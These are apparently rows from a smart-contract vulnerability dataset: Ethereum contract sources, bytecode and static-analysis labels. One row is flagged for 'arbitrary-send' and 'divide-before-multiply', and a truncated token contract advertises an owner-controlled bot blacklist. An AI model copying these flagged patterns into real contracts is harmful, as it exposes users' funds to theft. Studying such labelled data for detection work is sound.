427826113fc565b9050919050565b6114378161141c565b811461144257600080fd5b50565b6000813590506114548161142e565b92915050565b6000819050919050565b61146d8161145a565b811461147857600080fd5b50565b60008135905061148a81611464565b92915050565b600080604083850312156114a7576114a66113f7565b5b60006114b585828601611445565b92505060206114c68582860161147b565b9150509250929050565b60008115159050919050565b6114e5816114d0565b82525050565b600060208201905061150060008301846114dc565b92915050565b61150f8161145a565b82525050565b600060208201905061152a6000830184611506565b92915050565b600080600060608486031215611549576115486113f7565b5b600061155786828701611445565b935050602061156886828701611445565b92505060406115798682870161147b565b9150509250925092565b61158c8161141c565b82525050565b60006020820190506115a76000830184611583565b92915050565b6000602082840312156115c3576115c26113f7565b5b60006115d184828501611445565b91505092915050565b600080604083850312156115f1576115f06113f7565b5b60006115ff85828601611445565b925050602061161085828601611445565b9150509250929050565b600080600060608486031215611633576116326113f7565b5b60006116418682870161147b565b935050602061165286828701611445565b925050604061166386828701611445565b9150509250925092565b6000819050919050565b600061169261168d611688846113fc565b61166d565b6113fc565b9050919050565b60006116a482611677565b9050919050565b60006116b682611699565b9050919050565b6116c6816116ab565b82525050565b60006020820190506116e160008301846116bd565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061172e57607f821691505b602082108103611741576117406116e7565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006117a3602983611347565b91506117ae82611747565b604082019050919050565b600060208201905081810360008301526117d281611796565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118138261145a565b915061181e8361145a565b925082821015611831576118306117d9565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611872602083611347565b915061187d8261183c565b602082019050919050565b600060208201905081810360008301526118a181611865565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506118e68161142e565b92915050565b600060208284031215611902576119016113f7565b5b6000611910848285016118d7565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006119828261145a565b915061198d8361145a565b92508261199d5761199c611948565b5b828204905092915050565b6000819050919050565b60006119cd6119c86119c3846119a8565b61166d565b61145a565b9050919050565b6119dd816119b2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a188161141c565b82525050565b6000611a2a8383611a0f565b60208301905092915050565b6000602082019050919050565b6000611a4e826119e3565b611a5881856119ee565b9350611a63836119ff565b8060005b83811015611a94578151611a7b8882611a1e565b9750611a8683611a36565b925050600181019050611a67565b5085935050505092915050565b6000608082019050611ab660008301876119d4565b8181036020830152611ac88186611a43565b9050611ad76040830185611583565b611ae46060830184611506565b95945050505050565b6000611af88261145a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b2a57611b296117d9565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611b91602683611347565b9150611b9c82611b35565b604082019050919050565b60006020820190508181036000830152611bc081611b84565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c23602483611347565b9150611c2e82611bc7565b604082019050919050565b60006020820190508181036000830152611c5281611c16565b9050919050565b6000611c648261145a565b9150611c6f8361145a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ca457611ca36117d9565b5b828201905092915050565b6000611cba8261145a565b9150611cc58361145a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611cfe57611cfd6117d9565b5b82820290509291505056fea264697066735822122046ee15defb119f2a9efd16884fb7170ab076e8f314391abc21fe531c1ee917c364736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 895 |
0x1555d27228af43aa5af406823e061b09150a679a | /**
*Submitted for verification at Etherscan.io on 2021-05-06
*/
pragma solidity 0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minsted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Base contract for NFTshark token
*/
contract NFTshark is MintableToken {
string public name = "NFTshark";
string public symbol = "NFTS";
uint public decimals = 10;
constructor() public {
totalSupply_ = 1000000000 * (10 ** decimals);
balances[msg.sender] = totalSupply_;
}
} | 0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100f657806306fdde0314610125578063095ea7b3146101b557806318160ddd1461021a57806323b872dd14610245578063313ce567146102ca57806340c10f19146102f5578063661884631461035a57806370a08231146103bf578063715018a6146104165780637d64bcb41461042d5780638da5cb5b1461045c57806395d89b41146104b3578063a9059cbb14610543578063d73dd623146105a8578063dd62ed3e1461060d578063f2fde38b14610684575b600080fd5b34801561010257600080fd5b5061010b6106c7565b604051808215151515815260200191505060405180910390f35b34801561013157600080fd5b5061013a6106da565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017a57808201518184015260208101905061015f565b50505050905090810190601f1680156101a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c157600080fd5b50610200600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610778565b604051808215151515815260200191505060405180910390f35b34801561022657600080fd5b5061022f61086a565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610874565b604051808215151515815260200191505060405180910390f35b3480156102d657600080fd5b506102df610c2f565b6040518082815260200191505060405180910390f35b34801561030157600080fd5b50610340600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c35565b604051808215151515815260200191505060405180910390f35b34801561036657600080fd5b506103a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e1b565b604051808215151515815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110ad565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b6110f5565b005b34801561043957600080fd5b506104426111fa565b604051808215151515815260200191505060405180910390f35b34801561046857600080fd5b506104716112c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104bf57600080fd5b506104c86112e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105085780820151818401526020810190506104ed565b50505050905090810190601f1680156105355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054f57600080fd5b5061058e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611386565b604051808215151515815260200191505060405180910390f35b3480156105b457600080fd5b506105f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115a6565b604051808215151515815260200191505060405180910390f35b34801561061957600080fd5b5061066e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117a2565b6040518082815260200191505060405180910390f35b34801561069057600080fd5b506106c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611829565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107705780601f1061074557610100808354040283529160200191610770565b820191906000526020600020905b81548152906001019060200180831161075357829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108c357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561094e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561098a57600080fd5b6109db826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118aa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9357600080fd5b600360149054906101000a900460ff16151515610caf57600080fd5b610cc4826001546118aa90919063ffffffff16565b600181905550610d1b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118aa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610f2d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fc1565b610f40838261189190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561115157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125857600080fd5b600360149054906101000a900460ff1615151561127457600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561137e5780601f106113535761010080835404028352916020019161137e565b820191906000526020600020905b81548152906001019060200180831161136157829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113d557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561141157600080fd5b611462826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114f5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118aa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061163782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118aa90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188557600080fd5b61188e816118c6565b50565b600082821115151561189f57fe5b818303905092915050565b600081830190508281101515156118bd57fe5b80905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561190257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820055f093b39c5d352a058c9ea660a5c3d3b97328fd95d151ae6df73ad652b4f920029 | {"success": true, "error": null, "results": {}} | 896 |
0xddb94d7efd6b9da0f466e7a0aae27ae49aecd31c | /*
1% transaction limit first five minutes
1 trillion supply
Anti snipe
blacklist for bots
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
abstract contract IERC20Extented is IERC20 {
function decimals() public view virtual returns (uint8);
function name() public view virtual returns (string memory);
function symbol() public view virtual returns (string memory);
}
contract BabyFuturama is Context, IERC20, IERC20Extented, Ownable {
using SafeMath for uint256;
string private constant _name = "Baby Futurama | t .me/BabyFuturama";
string private constant _symbol = "Bowser Token";
uint8 private constant _decimals = 9;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _tFeeTotal;
uint256 private _firstBlock;
uint256 private _botBlocks;
uint256 public _buybackFee = 0; // divided by 1000 (so, 10%)
uint256 private _previousBuybackFee = _buybackFee;
uint256 public _marketingFee = 0; // divided by 1000 (so, 2.5%)
uint256 private _previousMarketingFee = _marketingFee;
uint256 public _devFee = 0; // divided by 1000 (so, 2.5%)
uint256 private _previousDevFee = _devFee;
uint256 public _marketingPercent = 33;
